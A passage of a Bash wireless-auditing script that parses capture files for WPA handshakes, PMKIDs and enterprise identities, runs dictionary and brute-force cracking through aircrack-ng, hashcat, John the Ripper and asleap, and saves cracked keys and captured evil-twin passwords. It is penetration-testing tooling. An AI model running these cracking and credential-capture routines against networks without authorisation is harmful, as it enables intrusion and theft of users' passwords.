"${tmpdir}decloak.log") =~ ${regexp} ]] && essid="${BASH_REMATCH[1]}" fi else regexp="Probe[[:blank:]]Response[[:blank:]]from[[:blank:]]target[[:blank:]]AP[[:blank:]]with[[:blank:]]SSID[[:blank:]]+([^[:blank:]]+.*[^[:blank:]]|[^[:blank:]])" [[ $(grep -m 1 "Probe Response from target AP with SSID" "${tmpdir}decloak.log") =~ ${regexp} ]] && essid="${BASH_REMATCH[1]}" fi if [ "${essid}" = "(Hidden Network)" ]; then return 1 else return 0 fi } #Check if an essid is present on a capture file to know if it is decloaked for that bssid function check_essid_in_capture_file() { debug_print while IFS=, read -r exp_bssid _ _ _ _ _ _ _ _ _ _ _ _ exp_essid _; do chars_bssid=${#exp_bssid} if [ "${chars_bssid}" -ge 17 ]; then if [ "${exp_bssid}" = "${bssid}" ]; then exp_essid="${exp_essid#"${exp_essid%%[![:space:]]*}"}" exp_essid="${exp_essid%"${exp_essid##*[![:space:]]}"}" if [[ -n "${exp_essid}" ]] && [[ ${exp_essid} != "" ]]; then essid="${exp_essid}" break fi fi fi done < "${tmpdir}decloak-01.csv" if [ "${essid}" = "(Hidden Network)" ]; then return 1 else return 0 fi } #Check if enterprise certificates are present on a capture file #shellcheck disable=SC2059 function check_certificates_in_capture_file() { debug_print local cert declare -ga certificates_array while read -r hexcert; do cert=$(printf "${hexcert}" 2> /dev/null | openssl x509 -inform DER -outform PEM 2> /dev/null) [[ -z "${cert}" ]] && continue certificates_array+=("$cert") done < <(tshark -r "${tmpdir}identities_certificates"*.cap -Y "(eap && wlan.addr == ${bssid} && tls.handshake.certificate)" -T fields -e tls.handshake.certificate 2> /dev/null | sort -u | tr -d ':' | sed 's/../\\x&/g') if [ "${#certificates_array[@]}" -eq 0 ]; then return 1 else return 0 fi } #Check if enterprise identities are present on a capture file function check_identities_in_capture_file() { debug_print declare -ga identities_array readarray -t identities_array < <(tshark -r "${tmpdir}identities_certificates"*.cap -Y "(eap && wlan.addr == ${bssid} && eap.identity)" -T fields -e eap.identity 2> /dev/null | sort -u) if [ "${#identities_array[@]}" -eq 0 ]; then return 1 else return 0 fi } #Check if a bssid is present on a capture file to know if there is a Handshake/PMKID with that bssid function check_bssid_in_captured_file() { debug_print local nets_from_file nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') if [ "${3}" = "also_pmkid" ]; then get_aircrack_version if compare_floats_greater_or_equal "${aircrack_version}" "${aircrack_pmkid_version}"; then local nets_from_file2 nets_from_file2=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake|handshake, with PMKID" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') fi fi if [ "${2}" != "silent" ]; then if [ ! -f "${1}" ]; then echo language_strings "${language}" 161 "red" language_strings "${language}" 115 "read" return 1 fi if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "only_handshake" ]]; then if [ "${nets_from_file}" = "" ]; then echo language_strings "${language}" 216 "red" language_strings "${language}" 115 "read" return 1 fi fi if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then if [[ "${nets_from_file}" = "" ]] && [[ "${nets_from_file2}" = "" ]]; then echo language_strings "${language}" 682 "red" language_strings "${language}" 115 "read" return 1 fi fi fi declare -A bssids_detected declare -A bssids_detected_pmkid local option_counter option_counter=0 for item in ${nets_from_file}; do if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$((option_counter + 1)) bssids_detected[${option_counter}]=${item} fi done if [[ "${3}" = "also_pmkid" ]] && [[ -n "${nets_from_file2}" ]]; then option_counter=0 for item in ${nets_from_file2}; do if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$((option_counter + 1)) bssids_detected_pmkid[${option_counter}]=${item} fi done fi local handshake_captured=0 local pmkid_captured=0 for targetbssid in "${bssids_detected[@]}"; do if [ "${bssid}" = "${targetbssid}" ]; then handshake_captured=1 break fi done if [[ "${3}" = "also_pmkid" ]] && [[ -n "${nets_from_file2}" ]]; then for targetbssid in "${bssids_detected_pmkid[@]}"; do if [ "${bssid}" = "${targetbssid}" ]; then pmkid_captured=1 break fi done fi if [[ "${handshake_captured}" = "1" ]] || [[ "${pmkid_captured}" = "1" ]]; then if [[ "${2}" = "showing_msgs_capturing" ]] || [[ "${2}" = "showing_msgs_checking" ]]; then if ! is_wpa2_handshake "${1}" "${bssid}" > /dev/null 2>&1; then echo language_strings "${language}" 700 "red" language_strings "${language}" 115 "read" return 2 fi fi fi if [[ "${handshake_captured}" = "1" ]] && [[ "${pmkid_captured}" = "0" ]]; then if [ "${2}" = "showing_msgs_checking" ]; then language_strings "${language}" 322 "yellow" fi return 0 elif [[ "${handshake_captured}" = "0" ]] && [[ "${pmkid_captured}" = "1" ]]; then if [[ "${2}" = "showing_msgs_capturing" ]] && [[ "${3}" = "also_pmkid" ]]; then echo language_strings "${language}" 680 "yellow" fi if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then echo language_strings "${language}" 683 "yellow" fi return 0 elif [[ "${handshake_captured}" = "1" ]] && [[ "${pmkid_captured}" = "1" ]]; then if [[ "${2}" = "showing_msgs_capturing" ]] && [[ "${3}" = "also_pmkid" ]]; then echo language_strings "${language}" 681 "yellow" fi if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then echo language_strings "${language}" 683 "yellow" fi return 0 else if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "only_handshake" ]]; then echo language_strings "${language}" 323 "red" language_strings "${language}" 115 "read" fi if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then echo language_strings "${language}" 323 "red" language_strings "${language}" 115 "read" fi return 1 fi } #Set the target vars to a bssid selecting them from a capture file which has a Handshake/PMKID function select_wpa_bssid_target_from_captured_file() { debug_print get_aircrack_version if compare_floats_greater_than "${aircrack_pmkid_version}" "${aircrack_version}"; then echo language_strings "${language}" 667 "yellow" language_strings "${language}" 115 "read" fi if ! head -c4 "${1}" 2> /dev/null | grep -Eq "^$(printf '\xd4\xc3\xb2\xa1')"; then echo language_strings "${language}" 796 "red" language_strings "${language}" 115 "read" return 1 fi handshake_detected_for_offline_decryption=0 pmkid_detected_for_offline_decryption=0 if echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -Eq "WPA \([1-9][0-9]? handshake"; then handshake_detected_for_offline_decryption=1 if echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -Eq "handshake, with PMKID"; then pmkid_detected_for_offline_decryption=1 fi elif echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -Eq "handshake, with PMKID"; then pmkid_detected_for_offline_decryption=1 fi local nets_from_file echo if [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 0 ]]; then language_strings "${language}" 216 "red" language_strings "${language}" 115 "read" return 1 elif [[ "${handshake_detected_for_offline_decryption}" -eq 1 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 0 ]]; then nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') language_strings "${language}" 668 "yellow" elif [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "handshake, with PMKID" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') language_strings "${language}" 669 "yellow" elif [[ "${handshake_detected_for_offline_decryption}" -eq 1 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake|handshake, with PMKID" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') language_strings "${language}" 670 "yellow" fi language_strings "${language}" 115 "read" echo declare -A bssids_detected option_counter=0 for item in ${nets_from_file}; do if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$((option_counter + 1)) bssids_detected[${option_counter}]=${item} fi done for targetbssid in "${bssids_detected[@]}"; do if [ "${bssid}" = "${targetbssid}" ]; then language_strings "${language}" 192 "blue" ask_yesno 193 "yes" if [ "${yesno}" = "y" ]; then bssid=${targetbssid} enterprise_network_selected=0 personal_network_selected=1 set_personal_enterprise_text return 0 fi break fi done bssid_autoselected=0 if [ "${option_counter}" -gt 1 ]; then option_counter=0 for item in ${nets_from_file}; do if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$((option_counter + 1)) if [ "${option_counter}" -lt 10 ]; then space=" " else space="" fi echo -n "${option_counter}.${space}${item}" elif [[ ${item} =~ \)$ ]]; then echo -en "${item}\r\n" else echo -en " ${item} " fi done print_hint target_network_on_file=0 while [[ ! ${target_network_on_file} =~ ^[[:digit:]]+$ ]] || ((target_network_on_file < 1 || target_network_on_file > option_counter)); do echo language_strings "${language}" 3 "green" read -rp "> " target_network_on_file done else target_network_on_file=1 bssid_autoselected=1 fi bssid=${bssids_detected[${target_network_on_file}]} enterprise_network_selected=0 personal_network_selected=1 set_personal_enterprise_text if [ "${bssid_autoselected}" -eq 1 ]; then language_strings "${language}" 217 "blue" fi return 0 } #Validate if given file has a valid enterprise john the ripper format function validate_enterprise_jtr_file() { debug_print echo readarray -t JTR_LINES_TO_VALIDATE < <(cat "${1}" 2> /dev/null) for item in "${JTR_LINES_TO_VALIDATE[@]}"; do if [[ ! "${item}" =~ ^.+:\$NETNTLM\$[0-9a-fA-F]+\$[0-9a-fA-F]+ ]]; then language_strings "${language}" 607 "red" language_strings "${language}" 115 "read" return 1 fi done language_strings "${language}" 608 "blue" language_strings "${language}" 115 "read" return 0 } # Check if hashcat hash are correct in a file (first line) function check_hashcat_hashes_format() { debug_print first_hash_line="" local plain_text_hash_matched=0 local deprecated_hash_matched=0 if [ ! -s "${1}" ]; then echo language_strings "${language}" 676 "red" language_strings "${language}" 115 "read" return 1 fi if hcxhashtool --info=stdout --hccapx-in="${1}" > /dev/null 2>&1; then deprecated_hash_matched=1 else first_hash_line=$(head -n 1 "${1}" 2>/dev/null) if [[ -z "${first_hash_line}" ]]; then echo language_strings "${language}" 676 "red" language_strings "${language}" 115 "read" return 1 fi fi if [[ "${first_hash_line}" =~ ^WPA\*[0-9]{2}\*[0-9a-fA-F]{32}\*([0-9a-fA-F]{12}\*){2}[0-9a-fA-F]{2,64}\*.+$ ]]; then plain_text_hash_matched=1 fi if [ "${plain_text_hash_matched}" -eq 1 ]; then echo language_strings "${language}" 675 "blue" language_strings "${language}" 115 "read" return 0 elif [ "${deprecated_hash_matched}" -eq 1 ]; then echo language_strings "${language}" 675 "blue" echo language_strings "${language}" 798 "yellow" language_strings "${language}" 115 "read" if convert_legacy_hashcat_hash_to_new "${1}"; then echo language_strings "${language}" 799 "blue" language_strings "${language}" 115 "read" return 0 else echo language_strings "${language}" 417 "red" language_strings "${language}" 115 "read" return 1 fi else echo language_strings "${language}" 676 "red" language_strings "${language}" 115 "read" return 1 fi } #Convert legacy -m 2500 hashcat format into -m 22000 hashcat format function convert_legacy_hashcat_hash_to_new() { debug_print if ! first_hash_line="$(hcxhashtool --hccapx-in="${1}" --info=stdout 2>/dev/null | awk -F': ' 'BEGIN{found=0} /^HASHLINE/ { s=$2; sub(/\r$/,"", s); print s; found=1; exit } END{ exit (found ? 0 : 1) }')" || [[ "${first_hash_line}" != WPA\*0[12]* ]]; then return 1 fi return 0 } #Validate if given file has a valid enterprise hashcat format function validate_enterprise_hashcat_file() { debug_print echo readarray -t HASHCAT_LINES_TO_VALIDATE < <(cat "${1}" 2> /dev/null) for item in "${HASHCAT_LINES_TO_VALIDATE[@]}"; do if [[ ! "${item}" =~ ^(.+)::::(.+):(.+)$ ]]; then language_strings "${language}" 601 "red" language_strings "${language}" 115 "read" return 1 fi done language_strings "${language}" 602 "blue" language_strings "${language}" 115 "read" return 0 } #Validate and ask for the different parameters used in an enterprise asleap dictionary based attack function enterprise_asleap_dictionary_attack_option() { debug_print manage_asking_for_challenge_response manage_asking_for_dictionary_file echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" echo exec_asleap_attack "offline_menu" echo manage_asleap_pot "offline_menu" } #Validate and ask for the different parameters used in an aircrack dictionary based attack function aircrack_dictionary_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "aircrack" if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then return fi manage_asking_for_dictionary_file echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_aircrack_dictionary_attack manage_aircrack_pot } #Validate and ask for the different parameters used in an aircrack bruteforce based attack function aircrack_bruteforce_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "aircrack" if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then return fi set_minlength_and_maxlength "${1}" charset_option=0 while [[ ! ${charset_option} =~ ^[[:digit:]]+$ ]] || ((charset_option < 1 || charset_option > 11)); do set_charset "aircrack" done echo language_strings "${language}" 209 "blue" echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_aircrack_bruteforce_attack manage_aircrack_pot } #Validate and ask for the different parameters used in a john the ripper dictionary based attack function enterprise_jtr_dictionary_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "jtr" if ! validate_enterprise_jtr_file "${jtrenterpriseenteredpath}"; then return fi manage_asking_for_dictionary_file echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_jtr_dictionary_attack manage_jtr_pot } #Validate and ask for the different parameters used in a john the ripper bruteforce based attack function enterprise_jtr_bruteforce_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "jtr" if ! validate_enterprise_jtr_file "${jtrenterpriseenteredpath}"; then return fi set_minlength_and_maxlength "enterprise" charset_option=0 while [[ ! ${charset_option} =~ ^[[:digit:]]+$ ]] || ((charset_option < 1 || charset_option > 11)); do set_charset "jtr" done echo language_strings "${language}" 209 "blue" echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_jtr_bruteforce_attack manage_jtr_pot } #Validate and ask for the different parameters used in a hashcat dictionary based attack over capture file function hashcat_dictionary_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "hashcat" if [ "${1}" = "personal_handshake_pmkid_capture" ]; then if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then return fi if ! convert_cap_to_hashcat_format; then return fi if ! validate_hashcat_pmkid_version && [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then echo language_strings "${language}" 679 "red" language_strings "${language}" 115 "read" return fi elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then echo language_strings "${language}" 797 "yellow" if ! check_hashcat_hashes_format "${hashcathashfileenteredpath}"; then return else echo "${first_hash_line}" > "${tmpdir}${hashcat_tmp_file}" fi else if ! validate_enterprise_hashcat_file "${hashcatenterpriseenteredpath}"; then return fi fi manage_asking_for_dictionary_file echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_hashcat_dictionary_attack "${1}" manage_hashcat_pot "${1}" } #Validate and ask for the different parameters used in a hashcat bruteforce based attack function hashcat_bruteforce_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "hashcat" if [ "${1}" = "personal_handshake_pmkid_capture" ]; then if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then return fi if ! convert_cap_to_hashcat_format; then return fi if ! validate_hashcat_pmkid_version && [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then echo language_strings "${language}" 679 "red" language_strings "${language}" 115 "read" return fi elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then echo language_strings "${language}" 797 "yellow" if ! check_hashcat_hashes_format "${hashcathashfileenteredpath}"; then return else echo "${first_hash_line}" > "${tmpdir}${hashcat_tmp_file}" fi else if ! validate_enterprise_hashcat_file "${hashcatenterpriseenteredpath}"; then return fi fi set_minlength_and_maxlength "${1}" charset_option=0 while [[ ! ${charset_option} =~ ^[[:digit:]]+$ ]] || ((charset_option < 1 || charset_option > 11)); do set_charset "hashcat" done echo language_strings "${language}" 209 "blue" echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_hashcat_bruteforce_attack "${1}" manage_hashcat_pot "${1}" } #Validate and ask for the different parameters used in a hashcat rule based attack function hashcat_rulebased_attack_option() { debug_print manage_asking_for_captured_hashes_file "${1}" "hashcat" if [ "${1}" = "personal_handshake_pmkid_capture" ]; then if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then return fi if ! convert_cap_to_hashcat_format; then return fi if ! validate_hashcat_pmkid_version && [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then echo language_strings "${language}" 679 "red" language_strings "${language}" 115 "read" return fi elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then echo language_strings "${language}" 797 "yellow" if ! check_hashcat_hashes_format "${hashcathashfileenteredpath}"; then return else echo "${first_hash_line}" > "${tmpdir}${hashcat_tmp_file}" fi else if ! validate_enterprise_hashcat_file "${hashcatenterpriseenteredpath}"; then return fi fi manage_asking_for_dictionary_file manage_asking_for_rule_file echo language_strings "${language}" 190 "yellow" language_strings "${language}" 115 "read" exec_hashcat_rulebased_attack "${1}" manage_hashcat_pot "${1}" } #Check if the password was decrypted using hashcat and manage to save it on a file function manage_hashcat_pot() { debug_print hashcat_output=$(cat "${tmpdir}${hashcat_output_file}") pass_decrypted_by_hashcat=0 if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat3_version}"; then local regexp="Status\.+:[[:space:]]Cracked" if [[ ${hashcat_output} =~ ${regexp} ]]; then pass_decrypted_by_hashcat=1 else if [ "${1}" = "personal_handshake_pmkid_capture" ]; then if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hccapx_version}"; then if [ -f "${tmpdir}${hashcat_pot_tmp}" ]; then pass_decrypted_by_hashcat=1 fi fi fi fi else local regexp="All hashes have been recovered" if [[ ${hashcat_output} =~ ${regexp} ]]; then pass_decrypted_by_hashcat=1 fi fi if [ "${pass_decrypted_by_hashcat}" -eq 1 ]; then echo language_strings "${language}" 234 "yellow" ask_yesno 235 "yes" if [ "${yesno}" = "y" ]; then hashcat_potpath="${default_save_path}" local multiple_users=0 if [ "${1}" = "personal_handshake_pmkid_capture" ]; then hashcatpot_filename=$(sanitize_path "hashcat-${bssid}.txt") [[ $(cat "${tmpdir}${hashcat_pot_tmp}") =~ .+:(.+)$ ]] && hashcat_key="${BASH_REMATCH[1]}" elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then hashcatpot_filename=$(sanitize_path "hashcat-decrypted-hash.txt") [[ $(cat "${tmpdir}${hashcat_pot_tmp}") =~ .+:(.+)$ ]] && hashcat_key="${BASH_REMATCH[1]}" else if [[ $(wc -l "${tmpdir}${hashcat_pot_tmp}" 2> /dev/null | awk '{print $1}') -gt 1 ]]; then multiple_users=1 hashcatpot_filename=$(sanitize_path "hashcat-enterprise_user-multiple_users.txt") local enterprise_users=() local hashcat_keys=() readarray -t DECRYPTED_MULTIPLE_USER_PASS < <(uniq "${tmpdir}${hashcat_pot_tmp}" | sort 2> /dev/null) for item in "${DECRYPTED_MULTIPLE_USER_PASS[@]}"; do [[ "${item}" =~ ^([^:]+:?[^:]+) ]] && enterprise_users+=("${BASH_REMATCH[1]}") [[ "${item}" =~ .+:(.+)$ ]] && hashcat_keys+=("${BASH_REMATCH[1]}") done else local enterprise_user [[ $(cat "${hashcatenterpriseenteredpath}") =~ ^([^:]+:?[^:]+) ]] && enterprise_user="${BASH_REMATCH[1]}" hashcatpot_filename=$(sanitize_path "hashcat-enterprise_user-${enterprise_user}.txt") [[ $(cat "${tmpdir}${hashcat_pot_tmp}") =~ .+:(.+)$ ]] && hashcat_key="${BASH_REMATCH[1]}" fi fi hashcat_potpath="${hashcat_potpath}${hashcatpot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "hashcatpot" done { echo "" date +%Y-%m-%d echo "${hashcat_texts[${language},1]}" echo "" } >> "${potenteredpath}" if [ "${1}" = "personal_handshake_pmkid_capture" ]; then { echo "BSSID: ${bssid}" } >> "${potenteredpath}" elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then { echo "Hash: ${first_hash_line}" } >> "${potenteredpath}" elif [ "${1}" = "enterprise" ]; then if [ "${multiple_users}" -eq 1 ]; then { echo "${hashcat_texts[${language},0]}:" } >> "${potenteredpath}" else { echo "${hashcat_texts[${language},2]}: ${enterprise_user}" } >> "${potenteredpath}" fi fi if [ "${multiple_users}" -eq 1 ]; then { echo "" echo "---------------" echo "" } >> "${potenteredpath}" for ((x=0; x<${#enterprise_users[@]}; x++)); do { echo "${enterprise_users[${x}]} / ${hashcat_keys[${x}]}" } >> "${potenteredpath}" done else { echo "" echo "---------------" echo "" echo "${hashcat_key}" } >> "${potenteredpath}" fi add_contributing_footer_to_file "${potenteredpath}" echo language_strings "${language}" 236 "blue" language_strings "${language}" 115 "read" fi fi } #Check if the password was decrypted using john the ripper and manage to save it on a file function manage_jtr_pot() { debug_print jtr_pot=$(cat "${tmpdir}${jtr_pot_tmp}") pass_decrypted_by_jtr=0 if [[ ${jtr_pot} =~ ^\$NETNTLM\$[^:]+:.+$ ]]; then pass_decrypted_by_jtr=1 fi if [ "${pass_decrypted_by_jtr}" -eq 1 ]; then echo language_strings "${language}" 234 "yellow" ask_yesno 235 "yes" if [ "${yesno}" = "y" ]; then jtr_potpath="${default_save_path}" local multiple_users=0 if [[ $(wc -l "${tmpdir}${jtr_pot_tmp}" 2> /dev/null | awk '{print $1}') -gt 1 ]]; then multiple_users=1 jtrpot_filename=$(sanitize_path "jtr-enterprise_user-multiple_users.txt") local enterprise_users=() local jtr_keys=() readarray -t DECRYPTED_MULTIPLE_PASS < <(uniq "${tmpdir}${jtr_pot_tmp}" | sort 2> /dev/null) for item in "${DECRYPTED_MULTIPLE_PASS[@]}"; do [[ "${item}" =~ ^\$NETNTLM\$[^:]+:(.+)$ ]] && jtr_keys+=("${BASH_REMATCH[1]}") [[ $(grep -E "^${BASH_REMATCH[1]}" "${tmpdir}${jtr_output_file}") =~ ^"${BASH_REMATCH[1]}"[[:blank:]]+\((.+)\) ]] && enterprise_users+=("${BASH_REMATCH[1]}") done else local enterprise_user [[ $(cat "${jtrenterpriseenteredpath}") =~ ^([^:\$]+:?[^:\$]+) ]] && enterprise_user="${BASH_REMATCH[1]}" jtrpot_filename=$(sanitize_path "jtr-enterprise_user-${enterprise_user}.txt") [[ "${jtr_pot}" =~ ^\$NETNTLM\$[^:]+:(.+)$ ]] && jtr_key="${BASH_REMATCH[1]}" fi jtr_potpath="${jtr_potpath}${jtrpot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "jtrpot" done { echo "" date +%Y-%m-%d echo "${jtr_texts[${language},1]}" echo "" } >> "${jtrpotenteredpath}" if [ "${multiple_users}" -eq 1 ]; then { echo "${jtr_texts[${language},0]}" } >> "${jtrpotenteredpath}" else { echo "${jtr_texts[${language},2]}: ${enterprise_user}" } >> "${jtrpotenteredpath}" fi if [ "${multiple_users}" -eq 1 ]; then { echo "" echo "---------------" echo "" } >> "${jtrpotenteredpath}" for ((x=0; x<${#enterprise_users[@]}; x++)); do { echo "${enterprise_users[${x}]} / ${jtr_keys[${x}]}" } >> "${jtrpotenteredpath}" done else { echo "" echo "---------------" echo "" echo "${jtr_key}" } >> "${jtrpotenteredpath}" fi add_contributing_footer_to_file "${jtrpotenteredpath}" echo language_strings "${language}" 547 "blue" language_strings "${language}" 115 "read" fi fi } #Check if the password was decrypted using aircrack and manage to save it on a file function manage_aircrack_pot() { debug_print pass_decrypted_by_aircrack=0 if [ -f "${tmpdir}${aircrack_pot_tmp}" ]; then pass_decrypted_by_aircrack=1 fi if [ "${pass_decrypted_by_aircrack}" -eq 1 ]; then echo language_strings "${language}" 234 "yellow" ask_yesno 235 "yes" if [ "${yesno}" = "y" ]; then aircrack_potpath="${default_save_path}" aircrackpot_filename=$(sanitize_path "aircrack-${bssid}.txt") aircrack_potpath="${aircrack_potpath}${aircrackpot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "aircrackpot" done aircrack_key=$(cat "${tmpdir}${aircrack_pot_tmp}") { echo "" date +%Y-%m-%d echo "${aircrack_texts[${language},0]}" echo "" echo "BSSID: ${bssid}" echo "" echo "---------------" echo "" echo "${aircrack_key}" } >> "${aircrackpotenteredpath}" add_contributing_footer_to_file "${aircrackpotenteredpath}" echo language_strings "${language}" 440 "blue" language_strings "${language}" 115 "read" fi fi } #Check if hashes were captured during WPA3 downgrade attack function manage_mana_pot() { debug_print if [ -n "${mana_hash}" ]; then echo language_strings "${language}" 530 "yellow" ask_yesno 785 "yes" if [ "${yesno}" = "y" ]; then downgrade_potpath="${default_save_path}" downgradepot_filename=$(sanitize_path "wpa3-downgrade-hash-${bssid}.txt") downgrade_potpath="${downgrade_potpath}${downgradepot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "downgradepot" done { echo "${mana_hash}" } >> "${downgradepotenteredpath}" echo language_strings "${language}" 786 "blue" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 788 "red" language_strings "${language}" 115 "read" fi } #Check if the password was decrypted using asleap against challenges and responses function manage_asleap_pot() { debug_print asleap_output=$(cat "${tmpdir}${asleap_pot_tmp}") if [[ "${asleap_output}" =~ password:[[:blank:]]+(.*) ]]; then local asleap_decrypted_password="${BASH_REMATCH[1]}" local write_to_file=0 language_strings "${language}" 234 "yellow" if [ "${1}" != "offline_menu" ]; then echo local write_to_file=1 asleap_attack_finished=1 path_to_asleap_trophy="${enterprise_completepath}enterprise_asleap_decrypted_${bssid}_password.txt" else ask_yesno 235 "yes" if [ "${yesno}" = "y" ]; then local write_to_file=1 asleap_potpath="${default_save_path}" asleappot_filename=$(sanitize_path "asleap_decrypted_password.txt") asleap_potpath="${asleap_potpath}${asleappot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "asleappot" done path_to_asleap_trophy="${asleapenteredpath}" fi fi if [ "${write_to_file}" = "1" ]; then rm -rf "${path_to_asleap_trophy}" > /dev/null 2>&1 { echo "" date +%Y-%m-%d echo "${asleap_texts[${language},1]}" echo "" } >> "${path_to_asleap_trophy}" if [ "${1}" != "offline_menu" ]; then { echo "ESSID: ${essid}" echo "BSSID: ${bssid}" } >> "${path_to_asleap_trophy}" fi { echo "${asleap_texts[${language},2]}: ${enterprise_asleap_challenge}" echo "${asleap_texts[${language},0]}: ${enterprise_asleap_response}" echo "" echo "---------------" echo "" } >> "${path_to_asleap_trophy}" if [ "${1}" != "offline_menu" ]; then { echo "${enterprise_username} / ${asleap_decrypted_password}" } >> "${path_to_asleap_trophy}" else { echo "${asleap_decrypted_password}" } >> "${path_to_asleap_trophy}" fi add_contributing_footer_to_file "${path_to_asleap_trophy}" language_strings "${language}" 539 "blue" language_strings "${language}" 115 "read" fi else if [ "${1}" != "offline_menu" ]; then language_strings "${language}" 540 "red" ask_yesno 541 "no" if [ "${yesno}" = "n" ]; then asleap_attack_finished=1 fi else language_strings "${language}" 540 "red" language_strings "${language}" 115 "read" fi fi } #Check if the wep besside password was captured and manage to save it on a file function manage_wep_besside_pot() { debug_print local wep_besside_pass_cracked=0 if grep -q "Got key" "${tmpdir}${wep_besside_log}" 2> /dev/null; then sed -ri '1,/Got key/{/Got key/!d; s/.*(Got key)/\1/}' "${tmpdir}${wep_besside_log}" 2> /dev/null readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wep_besside_log}" 2> /dev/null) for item in "${LINES_TO_PARSE[@]}"; do if [[ "${item}" =~ Got[[:blank:]]key[[:blank:]]for.*\[([0-9A-Fa-f:]+)\].*IVs ]]; then wep_hex_key="${BASH_REMATCH[1]}" wep_ascii_key=$(echo "${wep_hex_key}" | awk 'RT{printf "%c", strtonum("0x"RT)}' RS='[0-9A-Fa-f]{2}') wep_besside_pass_cracked=1 break fi done fi if [ "${wep_besside_pass_cracked}" -eq 1 ]; then echo "" > "${weppotenteredpath}" { date +%Y-%m-%d echo -e "${wep_texts[${language},1]}" echo "" echo -e "BSSID: ${bssid}" echo -e "${wep_texts[${language},2]}: ${channel}" echo -e "ESSID: ${essid}" echo "" echo "---------------" echo "" echo -e "ASCII: ${wep_ascii_key}" echo -en "${wep_texts[${language},3]}:" echo -en " ${wep_hex_key}" echo "" echo "" echo "---------------" echo "" echo "${footer_texts[${language},0]}" } >> "${weppotenteredpath}" echo language_strings "${language}" 162 "yellow" echo language_strings "${language}" 724 "blue" language_strings "${language}" 115 "read" fi } #Check if the passwords were captured using ettercap and manage to save them on a file function manage_ettercap_log() { debug_print ettercap_log=0 ask_yesno 302 "yes" if [ "${yesno}" = "y" ]; then ettercap_log=1 default_ettercap_logpath="${default_save_path}" default_ettercaplogfilename=$(sanitize_path "evil_twin_captured_passwords-${essid}.txt") rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 tmp_ettercaplog="${tmpdir}${ettercap_file}" 